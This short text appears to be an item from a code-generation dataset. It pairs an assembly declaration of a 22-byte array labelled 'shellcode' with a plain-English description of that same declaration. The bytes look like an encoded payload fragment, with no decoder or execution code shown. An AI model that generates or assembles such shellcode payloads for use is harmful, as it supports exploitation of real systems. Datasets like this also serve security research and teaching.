shellcode: db 0x3e, 0xcd, 0x5d, 0x96, 0xef, 0x75, 0x3c, 0x3c, 0x80, 0x75, 0x75, 0x3c, 0x6f, 0x76, 0x7b, 0x96, 0xf0, 0x5d, 0xbd, 0x18, 0xda, 0x8d
define the array of bytes shellcode 0x3e, 0xcd, 0x5d, 0x96, 0xef, 0x75, 0x3c, 0x3c, 0x80, 0x75, 0x75, 0x3c, 0x6f, 0x76, 0x7b, 0x96, 0xf0, 0x5d, 0xbd, 0x18, 0xda, 0x8d